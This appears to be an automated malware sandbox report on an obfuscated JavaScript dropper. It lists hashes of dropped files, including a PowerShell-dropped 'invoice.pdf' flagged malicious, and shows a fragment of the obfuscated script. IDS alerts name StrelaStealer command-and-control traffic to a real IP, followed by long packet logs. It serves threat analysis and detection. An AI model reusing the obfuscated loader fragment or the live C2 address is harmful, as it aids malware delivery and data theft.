SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\48ebfa57-f654-4233-a52a-3174042a3e15.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/vjA7owWLaGZDwYIGNP8dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:zVwWLaGZDwZGm3mlind9i4ufFXpAXkru
MD5:	EC9198846F095AA5BAE253084A1D3F33
SHA1:	B682EA2F014993C2344D2A3975CA50E4AB1096F5
SHA-256:	91A62053CADFB364B332C0C6832C3B474E1339EFB2914137BF168A86DC511493
SHA-512:	7118CCA7E10EBDDD831F30CA53F096248C792E7AF94FFD687BC289FEE45117D874511097E8FEFED912412A9B8E47C991B5F976C0CBDE33A37D2884B815589EEA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\845416c3-4438-45d4-9296-5001dc84f1bf.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\f9a9dad6-80d0-4b54-9b73-39d3629197b6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (10805), with no line terminators
Entropy (8bit):	5.009354124211443
TrID:
File name:	1579614525244583223.js
File size:	10'805 bytes
MD5:	04a25091c566e1e45a6e8a850d2cb7a1
SHA1:	e9e16523eda320ec58ad023c20b2b39619fbadbe
SHA256:	b03c63b7d7934cb212a864b4787b1a95c39de9b6cd5c3bc27d511eb3d0a85023
SHA512:	5a294b8435f4ab72d77fbb40d61eaaa9679474d2fbbeae54682a28e9222623271fdc2a8ee5135d52636e7be63fca5a8d6eb38ff2c518e0b97a950bb54bc6429b
SSDEEP:	192:cn+AYRJNti63FJGn35RbcqgUwPqIVrIc88sSSyQ3ioappdXMY:TAYRJeAFJw3gUwPqIVrIc8kQ3ioappd5
TLSH:	56227484FABB89A24DEEB1E2E04E12B54BC8175471E2C772A81D93651C7DD6680F0CBD
File Content Preview:	function hlpigjzg(){this[gevpvmxd+qnjuwkp+bwfnh+gomup]("npqyb=[1031,3079,5127,4103,2055,3072];var ntecpdebf=this[jobqaxld+bwfnh+zybgaum+oncyskvm+gevpvmxd+ujkjlx+gzotjli+eoylmcqkf](this[olpwwyxg+autjyn+hpwshba+zybgaum+timkpkwaf+jobqaxld+eoylmcqkf][cowgkyid

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-14T11:54:59.454304+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.9	49722	193.143.1.205	80	TCP
2025-01-14T11:54:59.454304+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.9	49722	193.143.1.205	80	TCP
2025-01-14T11:55:01.941498+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.9	49739	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 11:54:58.648629904 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:58.653439999 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:58.653518915 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:58.656330109 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:58.661185980 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.454217911 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.454231024 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.454242945 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.454303980 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.454307079 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.454319000 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.454329014 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.454348087 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.454380989 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.454381943 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.454396009 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.454406977 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.454431057 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.454487085 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.454528093 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.459887028 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.500056982 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.500098944 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.500127077 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.550858974 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.582562923 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.582588911 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.582604885 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.582619905 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.582669020 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.582685947 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.582875013 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.582904100 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.582947969 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.583132029 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.583147049 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.583163023 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.583175898 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.583185911 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.583192110 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.583211899 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.583959103 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.583975077 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.583997965 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.584011078 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.584012985 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.584022045 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.584069967 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.584100962 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.584827900 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.584836006 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.584851980 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.584886074 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.584909916 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.584927082 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.584969997 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.585664034 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.585777998 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.629880905 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.629898071 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.629914045 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.629960060 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.671273947 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.671329975 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.711050987 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.711070061 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.711091042 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.711106062 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.711122036 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.711131096 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.711148977 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.711337090 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.711381912 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.711411953 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.711427927 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.711442947 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.711467981 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.711496115 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.711512089 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.711529970 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.711544037 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.711620092 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.712114096 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.712140083 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.712156057 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.712172985 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.712188959 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.712217093 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.712240934 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.712258101 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.712274075 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.712291002 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.712291956 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.712327003 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.713079929 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.713097095 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.713110924 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.713138103 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.713140011 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.713155031 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.713169098 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.713187933 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.713187933 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.713203907 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.713207960 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.713249922 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.714021921 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.714036942 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.714057922 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.714082956 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.714155912 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.714170933 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.714186907 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.714200974 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.714210033 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.714215994 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.714224100 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.714274883 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.714937925 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.718641996 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.718657017 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.718689919 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.718746901 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.718760014 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.718789101 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.761322975 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.761374950 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.761446953 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.801213980 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.801233053 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.801249027 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.801263094 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.801280022 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.801295996 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.801356077 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.801369905 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.801374912 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.801374912 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.801374912 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.801419973 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.801491022 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.801533937 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.840589046 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.840612888 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.840665102 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.840724945 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.840744019 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.840764999 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.840789080 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.840918064 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.840938091 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.840965986 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.841046095 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.841069937 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.841089010 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.841093063 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.841101885 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.841119051 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.841130972 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.841139078 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.841156960 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.841173887 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.841176033 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.841190100 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.841200113 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.841218948 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.841232061 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.841238022 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.841255903 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.841274023 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.841278076 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.841289997 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.841305971 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.841316938 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.841324091 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.841342926 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.841346979 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.841361046 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.841377020 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.841389894 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.841392040 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.841413021 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.841418982 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.841434002 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.841453075 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.841464043 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.841468096 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.841481924 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.841495991 CET	49722	80	192.168.2.9	193.143.1.205
